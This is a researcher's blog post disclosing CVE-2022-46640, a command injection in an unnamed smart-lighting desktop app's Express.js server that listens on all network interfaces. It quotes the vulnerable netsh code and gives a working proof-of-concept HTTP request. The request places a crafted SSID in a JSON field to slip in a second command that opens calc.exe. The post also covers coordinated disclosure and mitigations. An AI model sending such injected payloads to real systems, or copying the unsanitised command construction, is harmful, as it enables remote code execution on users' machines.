How I hacked IoT management apps: the story behind CVE-2022-46640

Have you ever wondered how secure desktop applications really are? Recently, we put one of them to the test and found some critical vulnerabilities such as unauthenticated Remote Code Execution (CVE-2022-46640), Local File Inclusion and Remote Wireless Reconfiguration which allowed us to remotely compromise the Windows desktop. In this blogpost, we're going to share our experience hacking into a desktop app with a very large number of downloads, and explain how we were able to do it. Whether you're a developer, a security researcher, or just someone curious about software security, you won't want to miss this interesting write-up. So, let's dive in!

Content

  1. Introduction to IoT desktop apps
  2. Proof of Concept exploit
  3. Analyzing the IoT desktop app
  4. Creating a Proof of Concept exploit
  5. Conclusion

Introduction to IoT desktop apps

Smart lighting has evolved beyond just mobile apps. With the rise of desktop apps, managing smart lights has become even more convenient. Desktop apps for smart lighting allow users to manage their smart lights from their computers, with some apps offering unique features like a more user-friendly interface or advanced automation options.

Desktop apps for smart lighting can pose security risks, including potential vulnerabilities that hackers could exploit to gain access to a user's smart lights and even the desktop itself... To minimize these risks, users should download apps from trusted sources, and especially update apps and operating systems regularly. Additionally users can separate IoT networks from normal networks.

The desktop app we managed to exploit was written in Electron with an back-end server written in Express.js. The back-end Express.js server was accessible from any device which meant that remote exploitation was possible.  

Proof of Concept exploit

In order to exploit the command injection vulnerability (which leads to unauthenticated RCE) we can send a mere HTTP request as Proof of Concept (PoC). The root cause is a command injection vulnerability in an unauthenticated Express.js API endpoint on the device that changes the active WiFi network. This "intended" WiFi reconfiguration functionality itself is an RWR vulnerability because an attacker can set up their own malicious WiFi network and make the target device connect to it to eavesdrop it.

The code that causes this command injection vulnerability is located in the Windows WiFi network subsystem of the application. We can supply a malicious access point SSID in the HTTP request which allows us to inject our own commands into execCommand().

function connect(ap) { 
    console.log("using windows wifi handler");
    return scan().then((networks) => { ...
    }).then(() => {
        return execCommand('netsh wlan add profile filename="nodeWifiConnect.xml"');
    }).then(() => {
        return execCommand(`netsh wlan connect ssid="${ap.name}" name="${ap.name}"`);
    }).then(() => { ...
    }).catch((err) => {
        console.warn("windowsWifi connectToWifi Error:", err);
        return execCommand(`netsh wlan delete profile "${ap.name}"`).then(() => {
            return Promise.reject(err);
        });
    });
}
connect(ap) - the code that contains the command injection vulnerability

The payload in the malicious HTTP request is a JSON body including the new WiFi SSID and the new WiFi password. We can supply an SSID that escapes the command netsh wlan delete profile "${ap.name}" to exploit it. An example of such SSID is {"name": "\"&calc.exe&::"} - in which & is used to background the command and :: to comment out everything that follows.

POST /validateWifiPassword HTTP/1.1
Host: target.local:56751
Content-Length: 75
Content-Type: application/json

{"new_network":{"name":"attacker_ssid","password":"attacker_pass"}}
HTTP request for the typical credential check
POST /validateWifiPassword HTTP/1.1
Host: target.local:56751
Content-Length: 75
Content-Type: application/json

{"new_network":{"name":"\"&calc.exe&::","password":"attacker_pass"}}
HTTP request containing our own payload which executes calc.exe

This proof of concept payload spawns the Windows calculator on the desktop of the vulnerable target device. According to our research it is possible to make a fully fletched shell that can upload files, download files, and execute commands all while using native vulnerabilities we found in the app. Those vulnerabilities like LFI, LFW, et cetera have been patched by the vendor due to our research as well.

Analyzing the IoT desktop app

In order to find vulnerabilities in the desktop app, we need to get our hands on the code. To find the relevant code, I tried searching in the app directory for strings that get shown when running the app. If the app was a compiled PE executable we should still get results. Using grep -iRe "Sign In" we can find the file app.asar. An ASAR file turns out to be a source code package for an Electron app. We found the asar tool developed by Electron themselves and used it to extract the source code from the ASAR file using asar e app.asar out.

The first thing we researched when we got access to the source code was finding the entrypoint of the application. Since the project structure looked an aweful lot like an Express.js webserver, we started looking for the initialization of the webserver to find the host, port and routes. It turns out that the ports are provided in an environment and that the app listens to port 56751 and binds to 0.0.0.0 (due to its lack of providing an interface).

The fact that the server binds to 0.0.0.0 is the root cause of all vulnerabilities listed in this blogpost. Because the interface doesn't bind to just localhost (a.k.a. 127.0.0.1), any device on the network can connect to the webserver. This is fundamentally not necessary in this usecase and it's making exploitation possible from other devices. If the server binded to 127.0.0.1 instead, there wouldn't be RCE since remote devices would be able to communicate with the webserver.

  production: {
    env: 'production',
    root: rootPath,
    app: {
      name: 'device-monitor-server'
    },
    port: 56751,
    redis: {
        host: process.env.REDIS_ADDRESS,
        port: 6379
    }
  }
config/config.js - containing information about the environment

global.App = {
    app: app,
    env: env,
    server: http.createServer(app),
    config: require('./config/config'),
    port: require('./config/config').port,
    // ...
    start: function() {
        if (!this.started) {
            // ...
            this.server.listen(this.port)
            console.log("Operating System :", process.platform);
            console.log("Running App Version " + App.version + " on port " + App.port + " in " + App.env + " mode")
        }
    }
}
application.js - binding to 0.0.0.0:56751

Since we found out that the webserver binds to 0.0.0.0:56751, we can now start looking for API routes, since the Electron app uses those to manage the smart lights. After running a few grep queries for "routes", we found config/routes.js. This file contains more than 60 API routes from actions like managing the smart devices to changing WiFi settings on the host.

// ...

app.get('/network/info', EncryptionController.getCurrentNetworkInfo);
app.post('/network/reconnect', EncryptionController.reconnectToNetwork);
app.get('/wides', EncryptionController.getWifis);

app.post('/validateWifiPassword', EncryptionController.validateWifiPassword);

app.post('/wac/device', dnssdController.enableWACMode, EncryptionController.connectDeviceToNetwork, dnssdController.disableWACMode, dnssdController.getDevices);

// ...
config/routes.js - containing the routes of the app

We analysed nearly all 60 endpoints and found plenty of vulnerabilities - all of which can be exploited remotely because the server binds to 0.0.0.0. We started analysing the endpoints with a priority on dangerous endpoints - the endpoints which call command execution functions. We searched for those using grep -iRe "execCommand", which only gave app/utils/windowsWifi.js back. Analysing this file gave the following dangerous functions:

function execCommand(cmd) {
    return new Promise((resolve, reject) => {
        exec(cmd, env, (err, stdout, stderr) => { /* ... */ });
    });
}
execCommand - the primary dangerous function being used
function connect(ap) { 
    console.log("using windows wifi handler");
    return scan().then((networks) => { // ... 
    }).then(() => { // ...
    }).then(() => {
        return execCommand(`netsh wlan connect ssid="${ap.name}" name="${ap.name}"`);
    }).then(() => { // ...
    }).catch((err) => {
        console.warn("windowsWifi connectToWifi Error:", err);
        return execCommand(`netsh wlan delete profile "${ap.name}"`).then(() => { // ...
        });
    });
}
connect(ap) - dangerous function containing

The function connect(ap) sticks out because it executes a command with user input injected into the command. If we could set ap.name to "& calc&, we should be able to start calc.exe on the management desktop. In order to check whether or not we could control ap.name from a webrequest, we ran another grep query for connect and got results.

We found validateWifiPassword(req, res) which is a callback for app.post('/validateWifiPassword', ...). This function calls platformWifi.connect, in which platformWifi is a class dependent on the OS of the host. If it is Windows, it calls the vulnerable connect(ap) function above - otherwise it will use a secure version. This means that only Windows is vulnerable.

let platformWifi;

if (process.platform === 'win32') {
    // node-wifi does not work well for some operations on Windows, so import our own library for them
    platformWifi = require('../utils/windowsWifi');
} else {
    platformWifi = wifi;
}
platformWifi - the selected WiFi library
function validateWifiPassword(req, res) {
    const new_network = req.body.new_network;
    if (!new_network.name || !new_network.password) {
        // ...
    }
    console.log(`Checking wifi creds for ${new_network.name}...`);

    const callback = (err) => {
        // ...
    };

    let accessPoint = { name: new_network.name, password: new_network.password };
    platformWifi.connect(accessPoint, callback);
}
validateWifiPassword() - the API callback function

The validateWifiPassword() function requests the parameter new_network with subparameters name and password. These are passed directly into platformWifi.connect(accessPoint, callback), which means that there's a command injection vulnerability since we can supply an arbitrary SSID into the command netsh wlan connect ssid="${ap.name}".

Creating a Proof of Concept exploit

We have vision on our exploitable primitives: command injection through an HTTP request sent to the API endpoint POST /validateWifiPassword hosted on a webserver that binds to 0.0.0.0:56751. Let's go through it from start to finish.

We're starting the exploit by sending a request to the following Express.js API endpoint that binds to 0.0.0.0:56751. The API endpoint triggers a call to EncryptionController.validateWifiPassword().

app.post('/validateWifiPassword', EncryptionController.validateWifiPassword);
The API endpoint registration including its callback function

The validateWifiPassword() function is a wrapper for sanitizing the user input and handling request output. The user input is expected in the HTTP body and is expected to have the form of new_network.name (for the WiFi SSID) and new_network.password (for the WiFi password). The easiest way to do this is using a JSON structure like {"new_network":{"name":"ABC","password":"XYZ"}}.

function validateWifiPassword(req, res) {
    const new_network = req.body.new_network;
    if (!new_network.name || !new_network.password) {
        console.error("Invalid request object.");
        return res.sendStatus(422);
    }
    console.log(`Checking wifi creds for ${new_network.name}...`);

    const callback = (err) => {
        if (err) {
            // ...
        }
        console.log("Successfully connected  to", new_network.name);
        return res.sendStatus(204);
    };

    let accessPoint = { name: new_network.name, password: new_network.password };
    platformWifi.connect(accessPoint, callback);
}
validateWifiPassword() - the IO wrapper around wifi.connect()

Next, the function windowsWifi.connect() gets called. This function calls the dangerous execCommand function plenty of times using user controllable input. Specifically, new_network.name gets used for the command injection. This means that we have to inject a payload as new_network.name to achieve RCE on the webserver.

function connect(ap) { 
    console.log("using windows wifi handler");
    return scan().then((networks) => { ...
    }).then(() => {
        return execCommand('netsh wlan add profile filename="nodeWifiConnect.xml"');
    }).then(() => {
        return execCommand(`netsh wlan connect ssid="${ap.name}" name="${ap.name}"`);
    }).then(() => { ...
    }).catch((err) => {
        console.warn("windowsWifi connectToWifi Error:", err);
        return execCommand(`netsh wlan delete profile "${ap.name}"`).then(() => {
            return Promise.reject(err);
        });
    });
}
connect() - the function containing vulnerable code

We're dealing with the command netsh wlan connect ssid="${ap.name}" name="${ap.name}" and we can control ${ap.name}. We want to execute the Windows calculator (calc.exe) to get a graphical proof of concept on the vulnerable device. To do this, we need to escape the quotes of the command and ignore the rest of the command. This would look something like netsh wlan connect ssid=""&calc.exe&::" name=""&calc.exe&::"where only netsh wlan connect ssid=""& calc.exe& gets executed since :: makes the rest of the line a comment. We use & to background the task, so netsh wlan connect ssid="" can fail in the background whilst calc.exe can succeed in the background. This means that we need to make our SSID "&calc.exe&::. The entire HTTP request would become as follows.

POST /validateWifiPassword HTTP/1.1
Host: target.local:56751
content-type: application/json
Content-Length: 61

{"new_network":{"name":"\"&calc.exe&::","password":"xyz"}}
The PoC payload executing calc.exe on the target device

Conclusion

In conclusion, we exploited a command injection vulnerability by sending an HTTP request to a remote vulnerable Express.js API webserver that binds to all interfaces. Our internal research concluded that it's possible to make a fully fletched shell using vulnerabilities in this app, that could upload/download files and execute commands which would make it ideal for attackers.

The mitigations for these vulnerabilities would be as follows: only bind to interfaces that need access (in this case 127.0.0.1) to prevent remote access all together; sanitize controllable user input (especially when executing commands); disable remote wireless reconfiguration all together to prevent MitM attacks; disable arbitrary file operations (c.q. reading and writing) as it will only introduce vulnerabilities.

Going forward, we recommend users to keep their software up-to-date as vendors continuously release patches for vulnerabilities like those shown in this blogpost. Additionally we recommend more advanced users to use firewalls on their devices, which should deny incoming traffic by default as it can prevent lots of vulnerabilities.

Furthermore, the vulnerabilities in said desktop app were patched by the vendor in December 2022, a month after coordinated vulnerability disclosure (CVD). The vendor gave us explicit permission to publish this blogpost (under the agreement we wouldn't mention the vendors name nor desktop app name) and to publish CVE-2022-46640.

We hope you learned reading this blogpost as much as we did researching the vulnerabilities, and thank you for taking the time to read this blogpost.

Notselwyn, March 2023